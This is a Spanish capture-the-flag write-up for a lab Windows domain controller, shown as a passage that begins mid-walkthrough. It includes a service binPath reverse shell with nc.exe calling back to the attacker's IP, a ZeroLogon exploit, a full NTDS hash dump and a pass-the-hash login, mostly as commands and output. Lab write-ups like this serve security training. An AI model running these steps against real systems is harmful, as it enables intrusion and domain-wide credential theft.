SMB         10.10.10.179    445    MULTIMASTER      [+] MEGACORP.LOCAL\jorden:rainforest786

โฏ evil-winrm -i 10.10.10.179 -u 'jorden' -p 'rainforest786'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint

Privilege Escalation

Revisando los permiso/grupos del usuario que disponemos actualmente jorden@megacorp.local revisamos que el usuario foma parte del grupo SERVER OPERATORS@megacorp.local.

Windows PrivEsc: Server Operator Group

El grupo Server Operators es un grupo de seguridad integrado en los entornos de Windows Server. A los miembros de este grupo se les otorgan privilegios administrativos especรญficos que les permiten realizar tareas relacionadas con el servidor sin tener derechos administrativos completos. Este grupo estรก diseรฑado principalmente para la administraciรณn delegada del servidor. Privilegios clave de los operadores de servidor

Los miembros del grupo Operadores de servidor tienen los siguientes privilegios:

  • Iniciar y detener servicios:

    • Pueden iniciar, detener y pausar servicios en el servidor, lo que es crucial para el mantenimiento y la resoluciรณn de problemas del servidor.

  • Administrar recursos compartidos:

    • Los operadores de servidor pueden crear, modificar y eliminar carpetas compartidas y administrar recursos compartidos de impresoras, lo que les permite administrar recursos compartidos de manera eficaz.

  • Operaciones de copia de seguridad y restauraciรณn:

    • Los miembros pueden realizar copias de seguridad de archivos y restaurar archivos a partir de copias de seguridad, lo que facilita la administraciรณn de los procesos de recuperaciรณn de datos.

  • Iniciar sesiรณn localmente:

    • Los miembros tienen la capacidad de iniciar sesiรณn localmente en el servidor, lo que les permite administrar directamente el servidor a travรฉs de su consola.

  • Administrar usuarios y grupos locales:

    • Pueden agregar o eliminar usuarios de grupos locales y administrar cuentas locales, lo que es importante para las tareas de administraciรณn de usuarios.

Hemos conseguido mรกs informaciรณn de lo que trata esta escalada de privilegios desde el siguiente blog donde se detalla la explotaciรณn.

Desde el equipo procederemos a revisar los servicios que se encuentran en ejecuciรณn.

*Evil-WinRM* PS C:\Users\jorden\Documents> services

Path                                                                                                                 Privileges Service          
----                                                                                                                 ---------- -------          
C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe                                                                  True ADWS             
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe                                                           True aspnet_state     
\??\C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{5EB04B3D-85AE-4574-88FB-F22CF32D39F5}\MpKslDrv.sys       True MpKslDrv         
"C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqlservr.exe" -sMSSQLSERVER                          True MSSQLSERVER      
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe                                                              True NetTcpPortSharing
C:\Windows\SysWow64\perfhost.exe                                                                                           True PerfHost         
"C:\Program Files (x86)\Microsoft SQL Server\90\Shared\sqlbrowser.exe"                                                     True SQLBrowser       
"C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\SQLAGENT.EXE" -i MSSQLSERVER                         True SQLSERVERAGENT   
"C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqlceip.exe" -Service                                True SQLTELEMETRY     
"C:\Program Files\Microsoft SQL Server\90\Shared\sqlwriter.exe"                                                            True SQLWriter        
C:\Windows\servicing\TrustedInstaller.exe                                                                                 False TrustedInstaller 
"C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe"                                                     True VGAuthService    
C:\Program Files\VMWare\VMWare Tools\vmtoolsd.exe                                                                          True VMTools          
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.1911.3-0\NisSrv.exe"                                              True WdNisSvc         
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.1911.3-0\MsMpEng.exe"                                             True WinDefend

Despuรฉs de revisar los servicios que se encuentran en ejecuciรณn, el siguiente paso serรก subir al equipo vรญctima el binario nc.exe para posteriormente aprovechar de que formamos parte de este grupo, para modificar el binPath del servicio e indicarle que la ruta del servicio es la ejecuciรณn de una Reverse Shell utilizando el binario subido de nc.exe.

Verificamos que logramos modificar correctamente el binPath del servicio VMTools, tambiรฉn podemos utilizar el servicio browser.

*Evil-WinRM* PS C:\Users\jorden\Documents> upload /usr/share/windows-binaries/nc.exe
                                        
Info: Uploading /usr/share/windows-binaries/nc.exe to C:\Users\jorden\Documents\nc.exe
                                        
Data: 79188 bytes of 79188 bytes copied
                                        
Info: Upload successful!

*Evil-WinRM* PS C:\Users\jorden\Documents> sc.exe config VMTools binPath="C:\Users\jorden\Documents\nc.exe -e cmd 10.10.16.5 443"
[SC] ChangeServiceConfig SUCCESS

En una terminal nos pondremos en escucha por el puerto especificado en el punto anterior.

โฏ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...

Volveremos a la terminal del equipo vรญctima y procederemos a parar y volver a iniciar el servicio el cual hemos modificado el binPath para que ejecute la Reverse Shell.

*Evil-WinRM* PS C:\Users\jorden\Documents> sc.exe stop VMTools

SERVICE_NAME: VMTools
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 1  STOPPED
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
        
*Evil-WinRM* PS C:\Users\jorden\Documents> sc.exe start VMTools

Verificamos que al volver a iniciar el servicio, hemos logrado obtener conexiรณn a travรฉs de la Reverse Shell, en este caso, el usuario que arranca el servicio es el usuario NT AUTHORITY\SYSTEM, lo cual tenemos control total sobre el equipo.

โฏ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.179] 49948
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
b989bf465f20e0******************

ZeroLogon Exploitation to performing DCSync Attack

Durante el anรกlisis realizado, descubrimos que el Domain Controller es vulnerable al exploit ZeroLogon(CVE-2020-1472). Esta vulnerabilidad permite comprometer la seguridad del dominio y elevar privilegios al manipular las credenciales y las conexiones SMB.

โฏ nxc smb 10.10.10.179 -u 'jorden' -p 'rainforest786' -d megacorp.local -M zerologon
SMB         10.10.10.179    445    MULTIMASTER      [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
SMB         10.10.10.179    445    MULTIMASTER      [+] megacorp.local\jorden:rainforest786 
ZEROLOGON   10.10.10.179    445    MULTIMASTER      VULNERABLE
ZEROLOGON   10.10.10.179    445    MULTIMASTER      Next step: https://github.com/dirkjanm/CVE-2020-1472

Nos descargaremos el siguiente repositorio en nuestro equipo atacante para explotar la vulnerabilidad.

โฏ git clone https://github.com/dirkjanm/CVE-2020-1472; cd CVE-2020-1472
Clonando en 'CVE-2020-1472'...
remote: Enumerating objects: 41, done.
remote: Counting objects: 100% (12/12), done.
remote: Compressing objects: 100% (8/8), done.
remote: Total 41 (delta 6), reused 4 (delta 4), pack-reused 29 (from 1)
Recibiendo objetos: 100% (41/41), 23.83 KiB | 903.00 KiB/s, listo.
Resolviendo deltas: 100% (14/14), listo.

En el PoC del exploit de ZeroLogon, verificamos el uso de la herramienta.

Al realizar la explotaciรณn del CVE, lo que realiza esta vulnerabiliadd es dejar las credenciales del Domain Controller (DC) vacรญas.

Por lo tanto, al proceder a realizar un DCSync Attack con la cuenta del DC sin indicarle credenciales, obtenemos los hashes NTLM de todo el dominio.

Esto compromete gravemente la seguridad, debido que disponemos del acceso a cualquier usuario haciendo ataques como Pass-The-Hash.

โฏ python3 cve-2020-1472-exploit.py MULTIMASTER 10.10.10.179
Performing authentication attempts...
======================================================================
Target vulnerable, changing account password to empty string

Result: 0

Exploit complete!

โฏ secretsdump.py -just-dc-ntlm -no-pass megacorp.local/'MULTIMASTER$'@10.10.10.179 -dc-ip 10.10.10.179
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:69cbf4a9b7415c9e1caf93d51d971be0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:06e3ae564999dbad74e576cdf0f717d3:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
MEGACORP.LOCAL\svc-nas:1103:aad3b435b51404eeaad3b435b51404ee:fe90dcf97ce6511a65151881708d6027:::
MEGACORP.LOCAL\tushikikatomo:1110:aad3b435b51404eeaad3b435b51404ee:1c9c8bfd28d000e8904f23c280b25d21:::
MEGACORP.LOCAL\andrew:1111:aad3b435b51404eeaad3b435b51404ee:9e63ebcb217bf3c6b27056fdcb6150f7:::
MEGACORP.LOCAL\lana:1112:aad3b435b51404eeaad3b435b51404ee:3c3c292710286a539bbec397d15b4680:::
MEGACORP.LOCAL\alice:1601:aad3b435b51404eeaad3b435b51404ee:19b44ab9ec562fe20b35ddb7c6fc0689:::
MEGACORP.LOCAL\dai:2101:aad3b435b51404eeaad3b435b51404ee:cb8a655c8bc531dd01a5359b40b20e7b:::
MEGACORP.LOCAL\svc-sql:2102:aad3b435b51404eeaad3b435b51404ee:3a36abdc15d86766d4cd243d8557e10d:::
MEGACORP.LOCAL\sbauer:3102:aad3b435b51404eeaad3b435b51404ee:050ba67142895b5844a24d5ce9644702:::
MEGACORP.LOCAL\okent:3103:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\ckane:3104:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\kpage:3105:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\james:3106:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\cyork:3107:aad3b435b51404eeaad3b435b51404ee:06327297532725a64e1edec0aad81cfe:::
MEGACORP.LOCAL\rmartin:3108:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\zac:3109:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\jorden:3110:aad3b435b51404eeaad3b435b51404ee:90960176fcbfe36b4a69fafb3cc0b716:::
MEGACORP.LOCAL\alyx:3111:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\ilee:3112:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\nbourne:3113:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\zpowers:3114:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\aldom:3115:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\jsmmons:3116:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\pmartin:3117:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MULTIMASTER$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Cleaning up... 

Al realizar un dump del NTDS.dit, verificaremos que podemos realizar Pass-The-Hash con el usuario Administrator y conectarnos a travรฉs de la herramienta wmiexec.py.

โฏ nxc smb 10.10.10.179 -u 'Administrator' -H '69cbf4a9b7415c9e1caf93d51d971be0'
SMB         10.10.10.179    445    MULTIMASTER      [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
SMB         10.10.10.179    445    MULTIMASTER      [+] MEGACORP.LOCAL\Administrator:69cbf4a9b7415c9e1caf93d51d971be0 (Pwn3d!)

โฏ wmiexec.py megacorp.local/Administrator@10.10.10.179 -hashes :69cbf4a9b7415c9e1caf93d51d971be0 -dc-ip 10.10.10.179
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
megacorp\administrator

รšltima actualizaciรณn

ยฟTe fue รบtil?